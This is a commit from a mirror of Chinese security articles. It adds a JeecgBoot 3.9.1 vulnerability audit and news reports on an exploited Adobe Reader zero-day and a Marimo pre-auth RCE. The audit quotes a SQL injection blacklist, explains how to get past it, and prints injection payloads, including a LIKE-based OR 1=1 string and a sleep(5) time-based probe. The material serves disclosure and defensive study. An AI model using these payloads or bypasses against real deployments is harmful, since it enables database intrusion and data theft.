mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
0day--JeecgBoot v3.9.1 多漏洞审计过程、Src--支付漏洞实战、java内存马之-Spring-Interceptor-手把手投喂内存马、【视频】React 服务器函数原型污染 (RCE)、【登录背后的秘密-第六章第二节】什么！Stay-logged-in Cookie没加盐？还有XSS漏洞？那我就不客气了、漏洞预警 | parsl SQL注入漏洞、Adobe 修复了正被积极利用的 Acrobat Reader 漏洞 CVE-2026-34621、实战分析——一起0day附件邮件攻击真实案例的深度技术拆解、与Claude共处的10分钟：深挖Apache ActiveMQ远程代码执行漏洞（CVE-2026-34197）、CVE-2026-39987：Marimo 远程代码执行漏洞在披露后数小时内即遭利用、漏洞预警 | LEAN MES系统SQL注入漏洞、Claude Mythos找出27年前大漏洞，网安饭碗保不住了、打破K8s命名空间隔离：CVE-2026-4789 Kyverno漏洞详解、漏洞复现 | 中成科信综合管理平台 UploadFile 存在任意文件上传漏洞、Fortinet FortiClientEMS 访问控制不当漏洞CVE-2026-35616利用分析及历史漏洞总结、
This commit is contained in:
test committed
1 parent
dcd1ff73e4
commit
6851765b8d
16 files changed
+2076
-1
No files matched your search
@@ -19803,5 +19803,20 @@
|
||||
"https://mp.weixin.qq.com/s/PD2sUcj3NQytfBpAdC67aA": "又一个Confluence倒下了：CVE-2023-22527漏洞导致ELPACO-team勒索软件入侵",
|
||||
"https://mp.weixin.qq.com/s/z-475KDrSnw4tS1-ev7IFA": "工具推荐 | 快速探测可能存在SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/7vwpX9F3fNcS8ux-JJ_cUA": "规模化 SAST & SCA 漏洞修复",
|
||||
"https://mp.weixin.qq.com/s/UDf_TeEs0AhRbHzd2J6bDQ": "AI驱动漏洞海啸来袭：修复窗口从数周压缩到数小时"
|
||||
"https://mp.weixin.qq.com/s/UDf_TeEs0AhRbHzd2J6bDQ": "AI驱动漏洞海啸来袭：修复窗口从数周压缩到数小时",
|
||||
"https://mp.weixin.qq.com/s/3o_hUBVkb_WqKeB_mvtFdQ": "0day--JeecgBoot v3.9.1 多漏洞审计过程",
|
||||
"https://mp.weixin.qq.com/s/Q_2DOia4fxaVwEaP7Tmnfg": "Src--支付漏洞实战",
|
||||
"https://mp.weixin.qq.com/s/fdoYcbkkZH2jXQ2cjbatGQ": "java内存马之-Spring-Interceptor-手把手投喂内存马",
|
||||
"https://mp.weixin.qq.com/s/-2BwwLCz-Sp1wbBaJaHPQQ": "【视频】React 服务器函数原型污染 (RCE)",
|
||||
"https://mp.weixin.qq.com/s/qKVZPPXZ4WIIDJw0Q0rvrw": "【登录背后的秘密-第六章第二节】什么！Stay-logged-in Cookie没加盐？还有XSS漏洞？那我就不客气了",
|
||||
"https://mp.weixin.qq.com/s/neobyUOjW4Rd0PQ6kxTPyQ": "漏洞预警 | parsl SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/eKJMYCThcMK-sgyhqIdQag": "Adobe 修复了正被积极利用的 Acrobat Reader 漏洞 CVE-2026-34621",
|
||||
"https://mp.weixin.qq.com/s/TiOSLn-Et-hyzQ4-an8Kdg": "实战分析——一起0day附件邮件攻击真实案例的深度技术拆解",
|
||||
"https://mp.weixin.qq.com/s/2N-3lvaPig9eo9S73kVMeg": "与Claude共处的10分钟：深挖Apache ActiveMQ远程代码执行漏洞（CVE-2026-34197）",
|
||||
"https://mp.weixin.qq.com/s/95nd8n2RMWT6JsxcOCozNg": "CVE-2026-39987：Marimo 远程代码执行漏洞在披露后数小时内即遭利用",
|
||||
"https://mp.weixin.qq.com/s/6BpCnXURo5vinZqBkXt9pw": "漏洞预警 | LEAN MES系统SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/OJ9uotBEXlJnPf-oXx-UOg": "Claude Mythos找出27年前大漏洞，网安饭碗保不住了",
|
||||
"https://mp.weixin.qq.com/s/svM2fKlM7TXAItPEKSA27w": "打破K8s命名空间隔离：CVE-2026-4789 Kyverno漏洞详解",
|
||||
"https://mp.weixin.qq.com/s/PLOiAq8Nh2xBzmAHfFNR5A": "漏洞复现 | 中成科信综合管理平台 UploadFile 存在任意文件上传漏洞",
|
||||
"https://mp.weixin.qq.com/s/6YlCwWoHclWGzu_tIpvEZQ": "Fortinet FortiClientEMS 访问控制不当漏洞CVE-2026-35616利用分析及历史漏洞总结"
|
||||
}
|
||||
@@ -0,0 +1,325 @@
|
||||
# 0day--JeecgBoot v3.9.1 多漏洞审计过程
|
||||
xia0mai
|
||||
xia0mai 道一安全 2026-04-13 02:25
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**免责声明**
|
||||
|
||||
道一安全（本公众号）的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！
|
||||
|
||||
|
||||
|
||||
**前言**
|
||||
|
||||
本文不涉及任何poc或者exp的构建过程，只有漏洞挖掘过程供参考，感兴趣的师傅可以自行去复现
|
||||
|
||||
|
||||
原文链接：
|
||||
https://xz.aliyun.com/news/91897
|
||||
|
||||
|
||||
|
||||
**项目介绍**
|
||||
|
||||
|
||||
JeecgBoot，github上star 41k的低代码平台，国内企业用的比较多，项目是标准的Spring Boot结构，后端业务走的Spring MVC，MyBatis做持久层
|
||||
|
||||
|
||||
3.9.1版本新增了AIRAG模块支持MCP协议，同时字典相关的接口还用的黑名单防注入方案
|
||||
|
||||
|
||||
这次审计发现了两类漏洞：AIRAG MCP模块的命令执行和字典接口的SQL注入（绕过之前的修复）
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**漏洞一：AIRAG MCP 命令执行**
|
||||
|
||||
#### 漏洞背景
|
||||
|
||||
|
||||
AIRAG MCP模块的saveAndSync接口将用户可控的endpoint字段在stdio模式下直接拼进sh -c
|
||||
执行，认证用户即可RCE
|
||||
|
||||
前置条件：已认证用户 + 配置文件中allow-sensitive-nodes包含stdio（开发/演示环境默认开启）
|
||||
|
||||
#### 挖掘过程
|
||||
|
||||
|
||||
看了一下模块列表注意到jeecg-boot-module-airag是个新模块，MCP本身就涉及工具调用和进程通信，这种模块天然就是审计的重点目标。AiragMcpController里面有个saveAndSync接口，发现他保存并同步，同步什么？
|
||||
|
||||
AiragMcpController.java
|
||||
|
||||
|
||||
|
||||
逻辑很简单，先edit保存再sync同步，对传入的字段没有做任何校验，跟进entity看下有什么
|
||||
|
||||
|
||||
AiragMcp.java
|
||||
|
||||
|
||||
|
||||
注释写的清清楚楚，"stdio类型为命令"，type和endpoint都是@RequestBody进来的完全可控
|
||||
|
||||
|
||||
跟进AiragMcpServiceImpl.java的sync方法，来到stdio分支
|
||||
|
||||
|
||||
|
||||
endpoint.trim()直接塞进了["sh", "-c", endpoint]
|
||||
，中间零过滤。注释里自己都写了"endpoint 可能是一个命令行"，但没做任何安全处理
|
||||
|
||||
唯一的门槛是allowSensitiveNodes配置检查，看下默认值
|
||||
```
|
||||
jeecg:
|
||||
ai-rag:
|
||||
# AI流程敏感节点(stdio=命令行节点, sql=SQL节点)
|
||||
allow-sensitive-nodes: sql,stdio
|
||||
```
|
||||
|
||||
默认就开着，开发和演示环境都是这个配置
|
||||
```
|
||||
简化调用链
|
||||
1 POST /jeecg-boot/airag/airagMcp/saveAndSync
|
||||
2 AiragMcpController.saveAndSync(@RequestBody AiragMcp)
|
||||
3 airagMcpService.edit(airagMcp) ← endpoint持久化
|
||||
4 airagMcpService.sync(id)
|
||||
5 cmdParts = ["sh", "-c", endpoint.trim()]
|
||||
6 StdioMcpTransport → ProcessBuilder → /bin/sh -c "<endpoint>"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
**漏洞二：SQL注入（绕过历史修复）**
|
||||
|
||||
#### 漏洞背景
|
||||
|
||||
|
||||
JeecgBoot的字典接口之前就出过SQL注入，官方在v3.4.x加了个黑名单方案修复，用的是SqlInjectionUtil.specialFilterContentForDictSql()
|
||||
，这次是分析这个黑名单找到绕过，同时发现部分接口连黑名单都没走
|
||||
#### 挖掘过程
|
||||
|
||||
|
||||
审计思路就是看这个黑名单到底拦了什么、有没有绕过的可能
|
||||
|
||||
先看看之前修复加的防护逻辑，SqlInjectionUtil.java里的specialFilterContentForDictSql
|
||||
方法
|
||||
|
||||
|
||||
|
||||
这是黑名单关键词列表，注意几个关键点：select
|
||||
后面带空格、information_schema
|
||||
完整匹配、没有exists
|
||||
、没有and
|
||||
/or
|
||||
|
||||
|
||||
再看正则部分
|
||||
|
||||
```
|
||||
private final static String[] XSS_REGULAR_STR_ARRAY = new String[]{
|
||||
"chr\\s*\\(",
|
||||
"mid\\s*\\(",
|
||||
" char\\s*\\(",
|
||||
"sleep\\s*\\(",
|
||||
"user\\s*\\(",
|
||||
"show\\s+tables",
|
||||
"user[\\s]*\\([\\s]*\\)",
|
||||
"show\\s+databases",
|
||||
"sleep\\(\\d*\\)",
|
||||
"sleep\\(.*\\)",
|
||||
};
|
||||
```
|
||||
|
||||
user\s*\(
|
||||
匹配的是user()
|
||||
带括号的形式，sleep\s*\(
|
||||
也在拦截列表里
|
||||
|
||||
|
||||
分析完黑名单，绕过思路就很清楚了：
|
||||
|
||||
|
||||
1、select
|
||||
要求后面带空格，用%0a
|
||||
换行符替代空格就能绕过，select%0a1
|
||||
不会被检测到
|
||||
|
||||
|
||||
2、user\s*\(
|
||||
拦截的是user()
|
||||
带括号的形式，但MySQL的current_user
|
||||
不需要括号，直接绕过
|
||||
|
||||
|
||||
3、information_schema
|
||||
被拦了，但mysql.innodb_table_stats
|
||||
一样可以查表名，绕过
|
||||
|
||||
|
||||
那么接下来就是找哪些接口用了这个黑名单过滤、哪些地方用了MyBatis的${}
|
||||
拼接
|
||||
|
||||
|
||||
SysDictMapper.xml里面一搜就看到好几个${}
|
||||
直接拼接的点
|
||||
|
||||
|
||||
```
|
||||
<if test="key == '_tableFilterSql'">
|
||||
and ${value}
|
||||
</if>
|
||||
```
|
||||
|
||||
${filterSql}
|
||||
和${value}
|
||||
都是直接拼接的，不是#{}
|
||||
参数化查询
|
||||
|
||||
|
||||
那么审计思路就是找非预编译、参数可控、经过specialFilterContentForDictSql
|
||||
黑名单的接口
|
||||
|
||||
|
||||
这里演示几处，主要还是找的思路
|
||||
|
||||
|
||||
**第一处：**/sys/dict/getDictItems/{dictCode}**— 布尔盲注（过了黑名单，可绕）**
|
||||
|
||||
|
||||
SysDictController.java
|
||||
```
|
||||
@GetMapping("/getDictItems/{dictCode}")
|
||||
public Result<List<DictModel>> getDictItems(
|
||||
@PathVariable("dictCode") String dictCode,
|
||||
@RequestParam(value = "sign", required = false) String sign) {
|
||||
// ...
|
||||
String[] params = dictCode.split(",");
|
||||
if (params.length == 4) {
|
||||
// params[3]就是filterSql，直接传入
|
||||
return Result.OK(sysDictService.queryTableDictItemsByCodeAndFilter(
|
||||
params[0], params[1], params[2], params[3]));
|
||||
}
|
||||
```
|
||||
|
||||
dictCode用逗号分割，第四个参数直接作为filterSql传入，跟进Service层
|
||||
|
||||
|
||||
SysDictServiceImpl.java
|
||||
```
|
||||
public List<DictModel> queryTableDictItemsByCodeAndFilter(
|
||||
String table, String text, String code, String filterSql) {
|
||||
// 黑名单过滤
|
||||
filterSql = SqlInjectionUtil.specialFilterContentForDictSql(filterSql);
|
||||
return sysDictMapper.queryTableDictWithFilterSql(table, text, code, filterSql);
|
||||
}
|
||||
```
|
||||
|
||||
过了一层specialFilterContentForDictSql
|
||||
黑名单然后直接进Mapper的${filterSql}
|
||||
，前面分析过这个黑名单可以绕，存在布尔盲注
|
||||
```
|
||||
1=1 → 返回数据
|
||||
1=2 → 返回空
|
||||
```
|
||||
|
||||
**第二处：**/sys/dict/loadDict/{dictCode}**— LIKE注入（连黑名单都没过）**
|
||||
|
||||
|
||||
这个更直接，keyword参数连黑名单都没过
|
||||
```
|
||||
private String getFilterSql(String tableSql, String text, String code,
|
||||
String condition, String keyword){
|
||||
// ...
|
||||
if (oConvertUtils.isNotEmpty(keyword)) {
|
||||
if (keyword.contains(SymbolConstant.COMMA)) {
|
||||
String inKeywords = "'" + String.join("','", keyword.split(",")) + "'";
|
||||
keywordSql = "(" + text + " in (" + inKeywords + ") or " + code + " in (" + inKeywords + "))";
|
||||
} else {
|
||||
keywordSql = "("+text + " like '%"+keyword+"%' or "+ code + " like '%"+keyword+"%')";
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
keyword直接拼进了LIKE语句，没有调用任何过滤方法，连specialFilterContentForDictSql
|
||||
都没走
|
||||
|
||||
```
|
||||
keyword=%' OR 1=1 OR '%'='
|
||||
```
|
||||
|
||||
拼出来就是realname like '%%' OR 1=1 OR '%'='%'
|
||||
，LIKE条件直接被绕过返回所有数据
|
||||
|
||||
|
||||
**第三处：**/sys/dict/loadTreeData**— 时间盲注（JSON透传，没过黑名单）**
|
||||
|
||||
|
||||
condition参数是个JSON，里面的_tableFilterSql
|
||||
直接透传到Mapper
|
||||
|
||||
|
||||
SysDictServiceImpl.java
|
||||
```
|
||||
if (StringUtils.isNotBlank(condition)) {
|
||||
Map<String, String> query = JSON.parseObject(condition, Map.class);
|
||||
for (String key : query.keySet()) {
|
||||
queryParams.put(key, query.get(key)); // ← _tableFilterSql直接透传
|
||||
}
|
||||
}
|
||||
return sysDictMapper.queryTreeList(queryParams);
|
||||
```
|
||||
|
||||
Mapper里${value}
|
||||
直接拼接，没有任何过滤，连黑名单都没走，存在时间盲注
|
||||
```
|
||||
condition={"_tableFilterSql":"1=1 and sleep(5)"}
|
||||
基线耗时0.016秒，注入后耗时15秒
|
||||
```
|
||||
|
||||
同样的模式还有
|
||||
```
|
||||
/sys/api/queryFilterTableDictInfo、
|
||||
/sys/api/queryTableDictItemsByCode、
|
||||
/sys/api/loadDictItemByKeyword、
|
||||
/sys/dict/loadDictItem/{dictCode}
|
||||
```
|
||||
|
||||
|
||||
，都是类似的问题，要么走了黑名单可以绕，要么压根没走黑名单
|
||||
|
||||
|
||||
**7个接口汇总**
|
||||
(其实不止 7 个)
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">接口</span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">注入参数</span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">类型</span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">是否过黑名单</span></p></td></tr><tr style="height: 33px;"><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span leaf="">/sys/dict/getDictItems/{dictCode}</span></code></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">filterSql</span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">布尔盲注</span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">过了，可绕</span></p></td></tr><tr style="height: 33px;"><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span leaf="">/sys/dict/loadDict/{dictCode}</span></code></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">keyword</span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">LIKE注入</span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">没过</span></p></td></tr><tr style="height: 33px;"><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span leaf="">/sys/dict/loadTreeData</span></code></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">_tableFilterSql</span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">时间盲注</span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">没过</span></p></td></tr><tr style="height: 33px;"><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span leaf="">/sys/api/queryFilterTableDictInfo</span></code></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">filterSql</span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">布尔盲注</span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">过了，可绕</span></p></td></tr><tr style="height: 33px;"><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span leaf="">/sys/api/queryTableDictItemsByCode</span></code></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">tableFilterSql</span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9dLine truncated
|
||||
|
||||
|
||||
|
||||
|
||||
**总结**
|
||||
|
||||
这次审计JeecgBoot 3.9.1找到两类问题:MCP命令执行是新模块引入的新洞，endpoint直接进sh -c没有任何过滤。SQL注入是老问题新绕过，之前v3.4.x用黑名单方案修的， select 带空格用 %0a 换行绕、user() 用 current_user 无括号绕、 information_schema 用 mysql.innodb_table_stats 替代，而且7个接口里有3个连黑名单都没走直接拼接的。根因还是MyBatis用了 ${} 而不是 #{} ，黑名单治标不治本。
|
||||
|
||||
|
||||
|
||||
|
||||
**点分享**
|
||||
|
||||
|
||||
|
||||
**点收藏**
|
||||
|
||||
|
||||
|
||||
**点在看**
|
||||
|
||||
|
||||
|
||||
**点点赞**
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
# Adobe 修复了正被积极利用的 Acrobat Reader 漏洞 CVE-2026-34621
|
||||
鹏鹏同学
|
||||
鹏鹏同学 黑猫安全 2026-04-13 01:13
|
||||
|
||||
|
||||
|
||||
Adobe 发布紧急安全更新，修复了 Adobe Acrobat Reader 中一个被积极利用的关键漏洞，该漏洞编号为 CVE-2026-34621（CVSS 评分为 8.6）。此漏洞可能允许攻击者在受影响的系统上执行恶意代码，因此及时打补丁对于降低入侵风险至关重要。
|
||||
|
||||
公告指出：“Adobe 已为 Windows 和 macOS 平台的 Adobe Acrobat 及 Reader 发布安全更新。该更新解决了一个关键漏洞。成功利用该漏洞可导致任意代码执行。Adobe 已注意到 CVE-2026-34621 存在在野利用。”
|
||||
|
||||
该漏洞属于对象原型属性修改控制不当（即“原型污染”），可导致任意代码执行。
|
||||
|
||||
所谓“对象原型属性修改控制不当”（通常称为原型污染）主要是一种 JavaScript 漏洞，攻击者可以修改许多其他对象所继承的基础对象原型。在 JavaScript 中，对象可以从共享原型（如 Object.prototype）继承属性。如果应用程序未能正确验证输入，攻击者就可以向该原型中注入值。
|
||||
|
||||
以下是受影响版本：
|
||||
<table><thead><tr><th style="border-bottom: 0.8px solid rgba(0, 0, 0, 0.12);font: 500 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;border-top: none;padding: 10px 16px 10px 0px;text-align: left;"><section><span leaf="">产品</span></section></th><th style="border-bottom: 0.8px solid rgba(0, 0, 0, 0.12);font: 500 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;border-top: none;padding: 10px 16px;text-align: left;"><section><span leaf="">更新通道</span></section></th><th style="border-bottom: 0.8px solid rgba(0, 0, 0, 0.12);font: 500 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;border-top: none;padding: 10px 16px;text-align: left;"><section><span leaf="">受影响版本</span></section></th><th style="border-bottom: 0.8px solid rgba(0, 0, 0, 0.12);font: 500 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;border-top: none;padding: 10px 16px;text-align: left;"><section><span leaf="">平台</span></section></th></tr></thead><tbody><tr><td style="border-bottom: 0.8px solid rgba(0, 0, 0, 0.1);font: 400 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;min-width: 100px;max-width: min(30vw, 320px);padding: 10px 16px 10px 0px;"><section><span leaf="">Acrobat DC</span></section></td><td style="border-bottom: 0.8px solid rgba(0, 0, 0, 0.1);font: 400 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;min-width: 100px;max-width: min(30vw, 320px);padding: 10px 16px;"><section><span leaf="">Continuous</span></section></td><td style="border-bottom: 0.8px solid rgba(0, 0, 0, 0.1);font: 400 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;min-width: 100px;max-width: min(30vw, 320px);padding: 10px 16px;"><section><span leaf="">26.001.21367 及更早版本</span></section></td><td style="border-bottom: 0.8px solid rgba(0, 0, 0, 0.1);font: 400 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;min-width: 100px;max-width: min(30vw, 320px);padding: 10px 0px 10px 16px;"><section><span leaf="">Windows 和 macOS</span></section></td></tr><tr><td style="border-bottom: 0.8px solid rgba(0, 0, 0, 0.1);font: 400 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;min-width: 100px;max-width: min(30vw, 320px);padding: 10px 16px 10px 0px;"><section><span leaf="">Acrobat Reader DC</span></section></td><td style="border-bottom: 0.8px solid rgba(0, 0, 0, 0.1);font: 400 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;min-width: 100px;max-width: min(30vw, 320px);padding: 10px 16px;"><section><span leaf="">Continuous</span></section></td><td style="border-bottom: 0.8px solid rgba(0, 0, 0, 0.1);font: 400 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;min-width: 100px;max-width: min(30vw, 320px);padding: 10px 16px;"><section><span leaf="">26.001.21367 及更早版本</span></section></td><td style="border-bottom: 0.8px solid rgba(0, 0, 0, 0.1);font: 400 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;min-width: 100px;max-width: min(30vw, 320px);padding: 10px 0px 10px 16px;"><section><span leaf="">Windows 和 macOS</span></section></td></tr><tr><td style="border-bottom: 0.8px solid rgba(0, 0, 0, 0.1);font: 400 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;min-width: 100px;maxLine truncated
|
||||
Adobe 感谢 EXPMON 创始人李海飞报告了此漏洞。
|
||||
|
||||
李海飞最近披露，一个零日漏洞被利用，通过特制 PDF 在 Adobe Acrobat Reader 中运行恶意 JavaScript。据该专家称，威胁行为者利用该 Adobe Reader 零日漏洞长达数月，以传播一个复杂的 PDF 漏洞利用程序。
|
||||
|
||||
EXPMON 在 2026 年 4 月 11 日发推称：“Adobe 已确认我们的发现，并为所有 Adobe Reader（及其他受影响产品）用户发布了紧急安全更新。被利用的底层零日漏洞被评为关键级别（CVSS 9.6），编号为 CVE-2026-34621。”
|
||||
|
||||
2026 年 3 月 26 日，一个可疑 PDF 被提交到 EXPMON，并由其先进的“深度检测”功能标记出来，尽管防病毒检测率很低（VirusTotal 上仅为 13/64）。
|
||||
|
||||
|
||||
|
||||
该系统将其标记为需人工审查，以提示潜在的隐藏威胁。EXPMON 通过自动化告警、分析师对日志和指标的人工检查，以及大规模数据分析来识别漏洞利用行为。此案例表明，先进的检测技术能够发现传统工具可能遗漏的复杂零日活动，不过仍需通过专家分析进行确认。
|
||||
|
||||
由李海飞分析的样本是一个初始漏洞利用程序，它利用 Adobe Reader 中一个未修复的漏洞，在完全更新后的系统上运行特权 API。
|
||||
|
||||
该样本使用 util.readFileIntoStream()
|
||||
读取本地文件并收集敏感数据，随后调用 RSS.addFeed()
|
||||
将窃取的数据发送到远程服务器，并接收更多的恶意 JavaScript。
|
||||
|
||||
通过这种方式，攻击者可以对目标进行画像、窃取信息，并判断是否发起进一步的攻击，包括在目标满足特定条件时实现远程代码执行或沙箱逃逸。
|
||||
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
# CVE-2026-39987：Marimo 远程代码执行漏洞在披露后数小时内即遭利用
|
||||
鹏鹏同学
|
||||
鹏鹏同学 黑猫安全 2026-04-13 01:13
|
||||
|
||||
|
||||
|
||||
Marimo 中的一个关键漏洞（编号为 CVE-2026-39987，CVSS 评分为 9.3）在披露后仅 10 小时就被利用。Sysdig 威胁研究团队观察到，该漏洞在披露后 9 小时 41 分钟内即遭利用，且尽管没有公开的利用代码，攻击者在 3 分钟内就完成了凭据窃取。
|
||||
|
||||
Marimo 是一个开源 Python 笔记本工具，用于数据科学、分析和交互式编程。
|
||||
|
||||
该漏洞允许未认证的远程代码执行，影响版本 0.20.4 及之前版本。0.23.0 版本已修复此问题。
|
||||
|
||||
公告指出：“Marimo（GitHub 星标 19.6k）存在一个预认证 RCE 漏洞。终端 WebSocket 端点 /terminal/ws
|
||||
缺少认证验证，允许未认证攻击者获取完整的 PTY 终端并执行任意系统命令。与其他正确调用 validate_auth()
|
||||
进行认证的 WebSocket 端点（如 /ws
|
||||
）不同，/terminal/ws
|
||||
端点在接受连接前仅检查运行模式和平台支持，完全跳过了认证验证。”
|
||||
|
||||
据 Sysdig 称，攻击者直接根据公告构建了漏洞利用程序，展现了极高的速度和技术水平。此案例凸显了威胁行为者如今即使是对小众软件也会加以监控，并可能利用 AI 快速开发漏洞利用程序，从而加速攻击，其速度超过了此前 Langflow 等案例。
|
||||
|
||||
Sysdig 发布的报告称：“在漏洞公告发布后 9 小时 41 分钟内，Sysdig 威胁研究团队就观察到了首次在野利用尝试，并且在 3 分钟内完成了完整的凭据窃取操作。当时没有任何公开的概念验证代码。攻击者直接从公告描述中构建了可用的漏洞利用程序，连接到了未认证的终端端点，并开始手动探测受感染的环境。这种情况近期也发生在 Langflow 的一个漏洞（CVE-2026-33017）上，当时同样没有公开的利用代码，漏洞在 20 小时内即被利用。而本次 Marimo 漏洞的利用时间缩短了一半以上。”
|
||||
|
||||
